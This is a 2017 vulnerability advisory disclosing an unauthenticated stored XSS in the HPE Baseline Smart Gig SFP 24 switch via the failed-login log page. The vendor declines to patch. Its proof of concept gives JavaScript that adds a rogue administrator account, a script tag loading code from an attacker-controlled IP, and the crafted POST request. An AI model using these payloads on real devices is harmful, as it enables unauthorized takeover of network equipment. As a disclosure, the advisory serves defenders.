SSD Advisory – HPE Baseline Smart Gig SFP 24 Switch Pre-authentication Stored XSS

blogs.securiteam.com/index.php/archives/3389

SSD / Maor Schwartz October 18, 2017

Vulnerability Summary
The following advisory describes an unauthenticated stored XSS in the HPE Baseline Smart Gig SFP 24 / 3Com Baseline Switch 2924 SFP Plus Switch.

The vulnerability affect versions:

- Software Version: 01.00.10
- Boot version: 1.0.0.14
- Hardware Version: 01.01.0a

“On April 12, 2010, Hewlett-Packard completed the acquisition of 3Com. Since the acquisition, 3Com has been fully absorbed by Hewlett-Packard and no longer exists as a separate entity.”

Every 3Com model changed its identification number. The new HP name/ID number for this switch is “HP Baseline Smart Gig SFP 24 – JE002A”

There is no other difference between 3CBLSG24 and JE002A.

Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

Vendor response
HPE was informed of the vulnerability, their response was: “This issue is not going to be resolved. We had hoped resources could be found to address the issue, but the business determined that the product is out of support life. It’s been this way for several years. We hoped we could communicate something to customers about the product, but this switch is truly not supported in that way either.”

Vulnerability details
In order to trigger the vulnerability all that an attacker needs to do is have an accesses to the management web interface.

When a user tries to connect with wrong user and password, the bad login attempt will be saved in Administration -> Logging [Display] page.

Because an unauthenticated user’s controlled input is not sufficiently sanitized in the case of a bad login attempt, the payload sent to the POST request (http://IP/config/log_off_page.htm) of the bad login attempt will be saved and executed by an authenticated user that will visit the log page.

Proof of Concept
Setup:

- Switch IP: 192.168.0.253
- Attacker IP: 192.168.0.186 (Kali)

First step is to generate the JavaScript that we want to run on the victim’s machine.

In order to do that, we wrote the following script that allows you to pass attacker’s controlled parameters to chosen URI:

```
#Usage: [URI] [Parameters to URI]

function postwith (to,p) {
  var myForm = document.createElement("form");
  myForm.method="post" ;
  myForm.action = to ;
  for (var k in p) {
    var myInput = document.createElement("input") ;
    myInput.setAttribute("name", k) ;
    myInput.setAttribute("value", p[k]);
    myForm.appendChild(myInput) ;
  }
  document.body.appendChild(myForm) ;
  myForm.submit() ;
  document.body.removeChild(myForm) ;
};
```

The following function will create a valid request to add a new administrator user named “SSD_USER” with password “SSD_USER”:

```
function postwith (to,p) {
  var myForm = document.createElement("form");
  myForm.method="post" ;
  myForm.action = to ;
  for (var k in p) {
    var myInput = document.createElement("input") ;
    myInput.setAttribute("name", k) ;
    myInput.setAttribute("value", p[k]);
    myForm.appendChild(myInput) ;
  }
  document.body.appendChild(myForm) ;
  myForm.submit() ;
  document.body.removeChild(myForm) ;
};

postwith('http://192.168.0.253/Athentication/password_a.htm',{'LocalUserTable$endVT':'OK','rlAAALocalUserName$add':'SSD_USER','rlAAALocalHostStatus$add':'4','rlAAALoc
```

We will save the output file on the attacker's machine.

The second step is to write the payload that we want to send via POST request to the vulnerable machine.

The following script will load the file from step one and execute him:

```
<script>document.write("<script src=http://192.168.0.186/script.js></script>");</script>
```

Third step – We will encode: <script src=http://192.168.0.186/script.js></script> with base64 and send the following POST request:

```
estoreUrl=&errorCollector=&rlEmWebMaxIdleTimeout=600&rlIfNumOfPhPorts=24&ModuleTable=OK&rlPhdModuleTable%24VT=OK&rlPhdModuleStackUnit%24VT=Type%3D0
<===== PAYLOAD ======>"&password%24query=asd
```

Now we can login to the target switch and we verify the user list in Administration > System Access.

Then we trigger the vulnerability by going in to the logs page (Administration > Logging).

We can re-verify the user list and see that a new administrator user named "SSD_USER" has been added.